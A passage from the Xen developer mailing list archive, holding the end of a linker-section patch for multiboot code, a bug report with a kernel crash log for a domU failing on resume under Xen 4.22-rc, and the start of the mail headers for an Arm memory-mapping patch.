> =20
> -        .section .init.data, "aw", @progbits
> -        .subsection 1 /* Put data here after the page tables (in x86_64.=
S). */
> +        .section .init.data.multiboot, "aw", @progbits
>          .align 4
> =20
>          .word   0
> @@ -154,7 +153,7 @@ vga_text_buffer:
>  efi_platform:
>          .byte   0
> =20
> -        .section .init.text, "ax", @progbits
> +        .section .init.multiboot, "ax", @progbits
> =20
>  early_error: /* Here to improve the disassembly. */
> =20
> @@ -712,6 +711,7 @@ trampoline_setup:
>          /* Jump into the relocated trampoline. */
>          lret
> =20
> +        .section .init.text, "ax", @progbits
>  ENTRY(trampoline_start)
>  #include "trampoline.S"
>  ENTRY(trampoline_end)
> diff --git a/xen/arch/x86/xen.lds.S b/xen/arch/x86/xen.lds.S
> index 8e63cf5bc2..4ed1d2bec1 100644
> --- a/xen/arch/x86/xen.lds.S
> +++ b/xen/arch/x86/xen.lds.S
> @@ -57,6 +57,10 @@ SECTIONS
>    __image_base__ =3D .;
>  #else
>    . =3D __image_base__;
> +  /DISCARD/ : {
> +    *(.text.header)
> +    *(.init.*multiboot)
> +  }
>  #endif
> =20
>  #if 0
> @@ -195,6 +199,7 @@ SECTIONS
>    DECL_SECTION(.init.text) {
>  #endif
>         _sinittext =3D .;
> +       *(.init.multiboot)
>         *(.init.text)
>         *(.text.startup)
>         _einittext =3D .;
> @@ -220,6 +225,7 @@ SECTIONS
>         *(.init.rodata.cf_clobber)
>         __initdata_cf_clobber_end =3D .;
> =20
> +       *(.init.rodata.multiboot)
>         *(.init.rodata)
>         *(.init.rodata.*)
> =20
> @@ -234,6 +240,7 @@ SECTIONS
>         *(.initcall1.init)
>         __initcall_end =3D .;
> =20
> +       *(.init.data.multiboot)
>         *(.init.data)
>         *(.init.data.rel)
>         *(.init.data.rel.*)
> diff --git a/xen/tools/combine_two_binaries.py b/xen/tools/combine_two_bi=
naries.py
> index 581e57cbc0..5f0433dcad 100755
> --- a/xen/tools/combine_two_binaries.py
> +++ b/xen/tools/combine_two_binaries.py
> @@ -33,7 +33,7 @@ parser.add_argument('--map', dest=3D'mapfile',
>  parser.add_argument('--exports', dest=3D'exports',
>                      help=3D'Symbols to export')
>  parser.add_argument('--section-header', dest=3D'section_header',
> -                    default=3D'.section .init.text, "ax", @progbits',
> +                    default=3D'.section .init.multiboot, "ax", @progbits=
',
>                      help=3D'Section header declaration')
>  parser.add_argument('-v', '--verbose',
>                      action=3D'store_true')
> --=20
> 2.43.0
>=20

--=20
Best Regards,
Marek Marczykowski-G=C3=B3recki
Invisible Things Lab

--M+dZevWwTgEMElMU
Content-Type: application/pgp-signature; name=signature.asc

-----BEGIN PGP SIGNATURE-----

iQEzBAEBCAAdFiEEhrpukzGPukRmQqkK24/THMrX1ywFAmpWbYcACgkQ24/THMrX
1ywWRwf/a1B5n14oOlc7zpSlBBP/1d8plEPq52NKU0GDbWMCPhS5u+SFfC/nVppe
BQia/4F44ZY1wwQXTUjc6nahUMedPrAw0uUFQHZyrTzwZiN2fOa2dO5aspEeIgH8
HuSEOS4F4SmCac6qi91aYVCIfdAR6ULVO3SrfE4EvidumRZIHTGFF+cEubaf6T+j
8WsqlNT0RiOmj0UIL8L1px1hEt28J7S3jUzRZrOMUtaBfF4kWmTLPS4hdfqfTJ8r
R3OsfHfV/PSPv5SLQxIqeanHv4+oIIuWLnPX2h3ueNDTAESJ6r8PEq0Pu4bsmin3
pqCvjROjHza+OWuiqOomrjjk2YyrvQ==
=3CFy
-----END PGP SIGNATURE-----

--M+dZevWwTgEMElMU--


From xen-devel-bounces@lists.xenproject.org Tue Jul 14 17:12:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 17:12:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362466.1614295 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjggQ-0005Nd-9x; Tue, 14 Jul 2026 17:12:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362466.1614295; Tue, 14 Jul 2026 17:12:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjggQ-0005NN-5U; Tue, 14 Jul 2026 17:12:38 +0000
Received: by outflank-mailman (input) for mailman id 1362466;
 Tue, 14 Jul 2026 17:12:36 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marmarek@invisiblethingslab.com>) id 1wjggO-0005MF-8F
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 17:12:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjggM-000jvm-Ve
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 19:12:35 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a566de7-e002-0a2a0a5209dd-0a2a4504de4e-20
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 19:12:34 +0200
Received: from [202.12.124.153] (helo=fhigh-b2-smtp.messagingengine.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a566e01-b57f-0a2a45040019-ca0c7c99a163-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 19:12:34 +0200
Received: from phl-compute-06.internal (phl-compute-06.internal [10.202.2.46])
 by mailfhigh.stl.internal (Postfix) with ESMTP id 9BD477A0101
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 13:12:33 -0400 (EDT)
Received: from phl-frontend-03 ([10.202.2.162])
 by phl-compute-06.internal (MEProxy); Tue, 14 Jul 2026 13:12:33 -0400
Received: by mail.messagingengine.com (Postfix) with ESMTPA for
 <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 13:12:32 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=fm2 header.d=invisiblethingslab.com header.i="@invisiblethingslab.com" header.h="Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=fm2 header.d=messagingengine.com header.i="@messagingengine.com" header.h="Content-Type:Date:Feedback-ID:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To:X-ME-Proxy:X-ME-Sender"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	invisiblethingslab.com; h=cc:content-type:content-type:date:date
	:from:from:in-reply-to:in-reply-to:message-id:mime-version
	:references:reply-to:subject:subject:to:to; s=fm2; t=1784049153;
	 x=1784135553; bh=pPs3vfbucKxNUGnD4xCty5vM5Kl+Ko5YVvWgGFpyQfs=; b=
	u/M0WWL2p01anXtKKWZ4KXDVXzRcO9LWqLRij0ypJjX9mvaeps7trL2UcV/EUDfl
	7uPsGtypwPvoVyu+oDLvluL4A9gkOl4RrqkGtD/Jwj3M3WAWisOlzzaSFvYgi3GF
	JpPOKDUcUFZtAkO0RPvKaHTaCVArX4MkqTQXzMqjHw/cD7iyzp55JUk465IXJagx
	k13xVPvx9zA9Kv0c1b0RtlD7BcEAX040FoHItCvgvl2NMiOhNE92rYCQ/jZaNZBP
	b5ixJC+p5W6OSwIg+OF7QFfbOwAQGGpr7z67m4B/e/g/NFFoZLmE/PdFVUCCZaLc
	GNjY2FVw95b29L7kUvG02w==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	messagingengine.com; h=cc:content-type:content-type:date:date
	:feedback-id:feedback-id:from:from:in-reply-to:in-reply-to
	:message-id:mime-version:references:reply-to:subject:subject:to
	:to:x-me-proxy:x-me-sender:x-me-sender:x-sasl-enc; s=fm2; t=
	1784049153; x=1784135553; bh=pPs3vfbucKxNUGnD4xCty5vM5Kl+Ko5YVvW
	gGFpyQfs=; b=BPVfbCWdn3KysSvoC+qM9Vp9zys7yXyiF0Z7yZEfSDjteEjmkyR
	Ful9IQn6K16OMHRvbbZPnByUux/1UGo9m4qArGZE8KH+UdHEynPzs8yfFtfRlj0U
	ZEUHChMfuI6kZ8MBo1neELqBwxlq39PE67+7UOOIg0HonibZaF5Jb0l2WNDpPQHJ
	R9vDTQRQAAgKbkBJfeD5nP9k9LknwFUa+kV9I0GYSHXjOg3gMD6L6sZio/hhtWQH
	X6V4UOUxiezysME9yXBx1ViXrIbkX/TAfgffmekgp/Rt3NFQ9uHOeqmAnJkeTS1s
	sF8ShwYo7u0/dy2qgTDlPRe3XREUfGSXY1A==
X-ME-Sender: <xms:AW5WakBcXeRRO23OG18PbkmDhPhPdSTq16INf4JTodBKlhBfp_v10w>
    <xme:AW5WatfbQU7mWr_ViupUPLOMJmoZc_hQkMe1mjTKpF7ppzdWNZB6oYlCBWtddRKfb
    SneuJvJUe5ydsK060DiWQPsvCIq0PZJOPUykEKWhgMNC-uuVg>
X-ME-Received: <xmr:AW5WatMv5BVwv991nKwFNy5PxVTbRnPa9gaP3yaQuaGPF2r_Nz6sGbMK-SQXc_tMW2kYy4sgIfWRofcdR5UxK-Fuk8A78skvX-g>
X-ME-Proxy-Cause: dmFkZTGTskvJgfJB/UzEvyOX+uX/kqokrHrRiDOzfsUIayCBMHYnKQ6P3HRCNIZ3O9TQvR
    f7chAC9XKG2OnxOWVRVmCLEH5c5ycCwNj23tI8eiFWCufw2qQCh9uxZTO5imAVr8kFvWCu
    PfKpv5eGevKfUrVL+cJXBCg7RNi2GVcZ69AdP640kmrynmMzXkRnxPv1aRyMGsQFgXW3ic
    5rlXHAJZR23J419ATvgLiYBCbys2IUGBM1R8es/JYjiQIB4TPW8uTEhhrsUAj9SiYqyBhR
    IWk7vQryROylQtXFAFHC4FTcAKQEvYQb7vFUZZ3FMkAMJicqv6LcuxH9v8U5+A9tOQ8LqM
    3H/7hYlwdJVBxEWsuxU8I45/2TKJ9aCNWkjJS/X9D/MvH/VDVB1lpZCQ68vLBaEEtLhSTA
    r40UBXRY6XnodI5U1YCJjqufyym25Mtzh+1oUwE/Jde6LmaJ+U5EIJrRDEfYRmBQ6cugFp
    u7YRjGeghO4z0JLxII4VSxfVcqf2iBrc+e9LSZOeaLQepzlAVHotW2JTnaKTgDUL3SR/zZ
    QvvOmpDF4Gi/C3njiSWtv3dUrnWUs+gxMUfScV21HdXO8H6XwFfDpfh15pW+M3s+3rBRtN
    y5dNglUgZDCoo58+MFDMXa71WG4ZCol9WftVZTZHVkzBMrjCL8i2CEMlRQQQ
X-ME-Proxy: <xmx:AW5Wav5vGc6Vchick6YpOciuChC5UEVewWq-NHTCi_qPKcOrolHukw>
    <xmx:AW5WapLYv74e0tt8jOqCyJoLIWrtXqG10AXxzlCdOcOo1hUXE4axjA>
    <xmx:AW5WahdPhZjNZc8c6c82GyyyLuUdXhqJ3BC5uSNwSaa_T9-m6JhOrg>
    <xmx:AW5WakdgBKDm97OyjANgVQZnH6qe48bA8pKciXgSRvkTWooS4AckJw>
    <xmx:AW5WarhMeSEhuz1P1zpCol5F5GK3dCp2rzoK24aKuGGg-9vlE2zWR72L>
Feedback-ID: i1568416f:Fastmail
Date: Tue, 14 Jul 2026 19:12:29 +0200
From: Marek =?utf-8?Q?Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
To: xen-devel <xen-devel@lists.xenproject.org>
Subject: Re: domU crash when resuming from suspend - Xen 4.22
Message-ID: <alZt_boT-hJuVlD6@mail-itl>
References: <ajUm2SQtMD6Y-K9S@mail-itl>
MIME-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
	protocol="application/pgp-signature"; boundary="YdlsN5AHP5+U/HIc"
Content-Disposition: inline
In-Reply-To: <ajUm2SQtMD6Y-K9S@mail-itl>
X-purgate-ID: tlsNG-ebf023/1784049154-514D3B50-F8F862E0/0/0
X-purgate-type: clean
X-purgate-size: 5794


--YdlsN5AHP5+U/HIc
Content-Type: text/plain; protected-headers=v1; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
Date: Tue, 14 Jul 2026 19:12:29 +0200
From: Marek =?utf-8?Q?Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
To: xen-devel <xen-devel@lists.xenproject.org>
Subject: Re: domU crash when resuming from suspend - Xen 4.22

On Fri, Jun 19, 2026 at 01:24:09PM +0200, Marek Marczykowski-G=C3=B3recki w=
rote:
> Hi,
>=20
> I'm continuing testing 4.22 and found this:
>=20
> When a domU is suspended (even without host suspend) it crashes on
> resume with:
>=20
>     [   24.374629] BUG: kernel NULL pointer dereference, address: 0000000=
000000020
>     [   24.374647] #PF: supervisor read access in kernel mode
>     [   24.374657] #PF: error_code(0x0000) - not-present page
>     [   24.374668] PGD 0 P4D 0=20
>     [   24.374675] Oops: Oops: 0000 [#1] SMP NOPTI
>     [   24.374685] CPU: 0 UID: 0 PID: 19 Comm: migration/0 Not tainted 6.=
18.31-1.qubes.13.fc41.x86_64 #1 PREEMPT(full)=20
>     [   24.374705] Stopper: multi_cpu_stop+0x0/0x140 <- __stop_cpus.const=
prop.0+0x6f/0xb0
>     [   24.374723] RIP: 0010:multi_cpu_stop+0x63/0x140
>     [   24.374734] Code: 49 0f a3 1c 24 41 0f 92 c6 c7 44 24 04 00 00 00 =
00 31 ed 49 8d 5f 24 eb 2d 41 83 fd 02 74 6e 41 83 fd 03 74 49 f0 ff 0b 75 =
13 <41> 8b 47 20 41 8b 77 10 83 c0 01 41 89 77 24 41 89 47 20 41 83 fd
>     [   24.374764] RSP: 0018:ffffc900000abe30 EFLAGS: 00010046
>     [   24.374775] RAX: 0000000000000000 RBX: ffffc90000a13de4 RCX: 00000=
00000000404
>     [   24.374790] RDX: 0000000000000040 RSI: ffffffffffffffff RDI: 00000=
00000770ef0
>     [   24.374801] RBP: 0000000000000002 R08: ffffc900000abc80 R09: ffffc=
900000abc8c
>     [   24.374813] R10: 0000000000000000 R11: ffff88801e81cdc0 R12: fffff=
fff81835ac0
>     [   24.374825] R13: 0000000000000000 R14: 0000000000000000 R15: 00000=
00000000000
>     [   24.374837] FS:  0000000000000000(0000) GS:ffff88809b369000(0000) =
knlGS:0000000000000000
>     [   24.374850] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
>     [   24.374860] CR2: 0000000000000020 CR3: 000000000d6a2002 CR4: 00000=
00000770ef0
>     [   24.374873] PKRU: 00000000
>     [   24.374877] Call Trace:
>     [   24.374884]  <TASK>
>     [   24.374891]  ? __pfx_multi_cpu_stop+0x10/0x10
>     [   24.374900]  cpu_stopper_thread+0xa3/0x170
>     [   24.374908]  ? __pfx_smpboot_thread_fn+0x10/0x10
>     [   24.374917]  smpboot_thread_fn+0xf3/0x220
>     [   24.374925]  kthread+0xfc/0x240
>     [   24.374933]  ? __pfx_kthread+0x10/0x10
>     [   24.374940]  ? __pfx_kthread+0x10/0x10
>     [   24.374949]  ret_from_fork+0x158/0x170
>     [   24.374957]  ? __pfx_kthread+0x10/0x10
>     [   24.374965]  ret_from_fork_asm+0x1a/0x30
>     [   24.374973]  </TASK>
>     [   24.374978] Modules linked in: snd_seq_dummy snd_hrtimer snd_seq s=
nd_seq_device snd_timer snd soundcore cfg80211 rfkill vfat fat xenfs binfmt=
_misc nft_reject_inet nf_reject_ipv4 nf_reject_ipv6 nft_reject nft_ct nf_co=
nntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables intel_rapl_msr intel_rapl_c=
ommon intel_uncore_frequency_common intel_pmc_ssram_telemetry intel_vsec po=
lyval_clmulni ghash_clmulni_intel xen_netfront xen_privcmd xen_gntdev xen_g=
ntalloc xen_blkback xen_evtchn fuse loop nfnetlink ip_tables overlay xen_bl=
kfront
>     [   24.375064] CR2: 0000000000000020
>     [   24.375071] ---[ end trace 0000000000000000 ]---
>     [   24.375080] RIP: 0010:multi_cpu_stop+0x63/0x140
>     [   24.375089] Code: 49 0f a3 1c 24 41 0f 92 c6 c7 44 24 04 00 00 00 =
00 31 ed 49 8d 5f 24 eb 2d 41 83 fd 02 74 6e 41 83 fd 03 74 49 f0 ff 0b 75 =
13 <41> 8b 47 20 41 8b 77 10 83 c0 01 41 89 77 24 41 89 47 20 41 83 fd
>     [   24.375115] RSP: 0018:ffffc900000abe30 EFLAGS: 00010046
>     [   24.375124] RAX: 0000000000000000 RBX: ffffc90000a13de4 RCX: 00000=
00000000404
>     [   24.375142] RDX: 0000000000000040 RSI: ffffffffffffffff RDI: 00000=
00000770ef0
>     [   24.375155] RBP: 0000000000000002 R08: ffffc900000abc80 R09: ffffc=
900000abc8c
>     [   24.375170] R10: 0000000000000000 R11: ffff88801e81cdc0 R12: fffff=
fff81835ac0
>     [   24.375184] R13: 0000000000000000 R14: 0000000000000000 R15: 00000=
00000000000
>     [   24.375200] FS:  0000000000000000(0000) GS:ffff88809b369000(0000) =
knlGS:0000000000000000
>     [   24.375214] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
>     [   24.375226] CR2: 0000000000000020 CR3: 000000000d6a2002 CR4: 00000=
00000770ef0
>     [   24.375241] PKRU: 00000000
>     [   24.375247] Kernel panic - not syncing: Fatal exception
>     [   25.417403] Shutting down cpus with NMI
>     [   25.417447] Kernel Offset: disabled
>=20
> There is no change on the Linux kernel side (neither dom0 nor domU), the
> only change is updating Xen 4.19.4 -> 4.22-rc2 (seems to be already
> broken on -rc1 too). This happens for both HVM and PVH domains. Haven't
> tried PV domU (but dom0 survives host suspend).

Any ideas?

--=20
Best Regards,
Marek Marczykowski-G=C3=B3recki
Invisible Things Lab

--YdlsN5AHP5+U/HIc
Content-Type: application/pgp-signature; name=signature.asc

-----BEGIN PGP SIGNATURE-----

iQEzBAEBCAAdFiEEhrpukzGPukRmQqkK24/THMrX1ywFAmpWbf0ACgkQ24/THMrX
1ywgxAf/Tt5gykoL8zkjOqUyFhSZ/s8ef7Wo9yszpn0vzBgCqJ40ECSvjD7pjgqj
a2iM8c79tyYtFwFfrQ31St6Ag9pL26gLtMtwPaTl4IcsFRQa1ny/MVuTQNDFymCJ
2OHOX1aRwAroJ3PN7I6M0vwp79x2IH+3xoiVNa4auZCf7+pq6St1qe6sj/r32GwZ
J9Y+17vClLJAXnjVZYbB1n8Vfs7p0MnGlsnkdI026eYuA5TxAtx6+JyXbvsjMlz6
A7/j8z3PnPyJA1rj+3YcK7Sbjv+JR/vCFHWMPhD9lIAT/knTxUPfakFsh4PggULg
Re8uO/gUXsBM9m+4jUSaZcDPs86C8g==
=62Ue
-----END PGP SIGNATURE-----

--YdlsN5AHP5+U/HIc--


From xen-devel-bounces@lists.xenproject.org Tue Jul 14 19:17:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 19:17:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362507.1614335 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjicq-0003FV-Vl; Tue, 14 Jul 2026 19:17:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362507.1614335; Tue, 14 Jul 2026 19:17:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjicq-0003FO-T7; Tue, 14 Jul 2026 19:17:04 +0000
Received: by outflank-mailman (input) for mailman id 1362507;
 Tue, 14 Jul 2026 19:17:03 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Oleksandr_Tyshchenko@epam.com>) id 1wjicp-0003FI-8A
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 19:17:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjico-008iaS-L6
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 21:17:02 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Oleksandr_Tyshchenko@epam.com>)
 id 6a568b02-bab6-0a2a0a5309dd-0a2a450b8aa2-30
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 21:17:02 +0200
Received: from [52.101.84.139]
 (helo=DB3PR0202CU003.outbound.protection.outlook.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Oleksandr_Tyshchenko@epam.com>)
 id 6a568b2e-b7e8-0a2a450b0019-3465548b66df-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 21:17:02 +0200
Received: from AM4PR03MB11152.eurprd03.prod.outlook.com
 (2603:10a6:20b:6cc::22) by DU4PR03MB10718.eurprd03.prod.outlook.com
 (2603:10a6:10:592::21) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.9; Tue, 14 Jul
 2026 19:16:56 +0000
Received: from AM4PR03MB11152.eurprd03.prod.outlook.com
 ([fe80::bbbf:5b9b:1043:4510]) by AM4PR03MB11152.eurprd03.prod.outlook.com
 ([fe80::bbbf:5b9b:1043:4510%5]) with mapi id 15.21.0202.018; Tue, 14 Jul 2026
 19:16:56 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=Vy0KgrvToQnQK/0YyOvNYVazTILleNM7mlr35jUBWh+Nb89kF3LXudt1CIuucOKihgECyhDTS1qYWfewOTyTn9mNDPR/M03cJT9FAtXfZ0Cb6vrDO+keIjjSJB5d2ih8+ItkYB7JKxyL5Rsc/Mk2GrZ5Kh9Wow6x/o3fdEAlLWB0e4w4XokOT7T5pyqIPx8cEmRozHxbC47PaYxZy0aLFgAjs0Ien/dQD+6gfXgt9JnJr0ZqOZfXt34QVqfDik/0ekODIl52dHkceE2BzPQCpLwJSJdZzFnyDmiZWlXR8/l21AslGZDZ54ATGzqJWkO072b2WDd2WY+Zv/DvQvbeEw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=OX9/iBkmR8Fc4Q3+JgjgX70rmFfBOjUy2qweTSgBLUE=;
 b=Y8lGRtMFdvjN2JkNfqkT0lHm0Rrcmqn7+bRLuyr02fBjwjm991qrSxFqB7N7YYBLkVJm9uEXaxL7tDit1iK7lp2QWPNj5pJExdR7I0wYSzsG5soM3nuZnY4cgVjbHfilXHi767ft6paqK5Yn+jhA4uT32/pgeHmTJYuDYSkUuD3ZFYvF8alUtLJbaJ+1dfykdZlvpEkul4s1QX2CKxtALX8Vkqgqfk1SrIOQW83B9GSBbnxiGNve24B5AUxEih/7HljOAKezkgrY1xre+u77mi12y9HaAzfI36JBo61ONuKP1TxjFNFMx6N2zJzvH+q2u2OIBSl65mSy5adFD23r+g==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=OX9/iBkmR8Fc4Q3+JgjgX70rmFfBOjUy2qweTSgBLUE=;
 b=hEWvaXlPEAyz/GL2Z3iPmb7AqBC1QbwkHloCmdy9clWuU3QFtwLvo5pMbbnNxoWH267cQClfcuya2fqAv1V/rsCCzwY3s0pGXWC/vU32cupUbXNX7HRL1c2N1TzBt8w4sOEWOznU5xFKBArrKPsYa/KGKAy+GMhPgy6oX6TRq5hML+YYFa4rGdrDgJG6G128Kj41A28pVaUIH0ciiPymH74kYY5J51UFYeBkvLMfziIh1YH4+BmG8MUZCd290hbp4RNaeDQKPrjomPmv8XfUKUMhqNULVBA8a3KN0B5hZnwwpzQoMsQUB49kV4BLpDqYVrlJJ1HnHoc2CRMYaeSfdw==
From: Oleksandr Tyshchenko <Oleksandr_Tyshchenko@epam.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, Michal Orzel
	<michal.orzel@amd.com>, Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>, Ayan
 Kumar Halder <ayankuma@amd.com>
Subject: [PATCH] xen/arm: Reject pseudo-domain foreign mappings in
 xenmem_add_to_physmap_one()
Thread-Topic: [PATCH] xen/arm: Reject pseudo-domain foreign mappings in
 xenmem_add_to_physmap_one()
Thread-Index: AQHdE8VVAWU+M64fN0eM/0vNp09wjA==
Date: Tue, 14 Jul 2026 19:16:56 +0000
Message-ID: <20260714191655.155717-1-oleksandr_tyshchenko@epam.com>
Accept-Language: en-US, ru-RU
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: AM4PR03MB11152:EE_|DU4PR03MB10718:EE_
x-ms-office365-filtering-correlation-id: 5256d075-fdcc-402d-d795-08dee1dc7868
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|376014|366016|23010399003|1800799024|42112799006|56012099006|5023799004|11063799006|3023799007|38070700021|18002099003|6133799003;
x-microsoft-antispam-message-info:
 qYfsEnuFw+3DfnEUaGE5WCUnj04OofBnI29xzNg2WNe7JqB5xtrog5ssWRMhmyQSH5ocVp2wkhTEFG7/2QmZXE6BlFEQX932j6m3y3TWwQEHuLxRTCSVU2qwrKqciA4/pm0KUBIhyQN/A/y0fD0RsV7+yXrEQdv50UHeWZwkuRD0dmmArt9BDVKJK3D/laled/AMXqi7sfyb3Pftrd8hqVCpOhoDa1+07oLoj1Kv+L9GxKIKOEFn8gfaMHkINBiodyQXRBErwDT95t5abY/I59PB+d1Tnj9UeNCTcgOU6NTq+VHD8dl/BjCxjOs0zoYqY+qWRZYj7WJ1SFd44Yne9dp94cFDCcIPpunEiTWIFUSAQbLKhJRKcAAMrpMVb8uTzSS8bM5hv+voZnfcnbFyoBceQRdKGrk1RBSYNpxKGhmOIg8I9g1tWKXrRcRTJtKa8F4s/q//9dr7OVxtRaZ5mBXtE9cS/DaLTXdiiRwfOKqgLIJUpt6x59k/sbHjc6KWCjNgNZaW5Qi8xRaW9+Iw6fZnj90J3RfOlEGJO3JGVwnwK7oEGZ7C83RR5HQ1bwGIxRkGuPOcwJHG226ZzgL6yp89CbmtbEWKu6tOfpjIShXzYnRoRP5Z9tHrCi4vuvxEQYfqUDvlv3oQ0nwKAwrz9sAmZHkPeQ9S23NiHcaOEaUppqJjqa8Go7zhi1hKU+x96abspQB0uyC/fdQ7RvK2h03XTewqefXJjn5X8BIFJlk=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM4PR03MB11152.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(366016)(23010399003)(1800799024)(42112799006)(56012099006)(5023799004)(11063799006)(3023799007)(38070700021)(18002099003)(6133799003);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?dkw0YjJTVmVaWVI3MWtJSHRqWkN2bTAza2xlOHdtOVlBdTI2c0xCTmRTdU1u?=
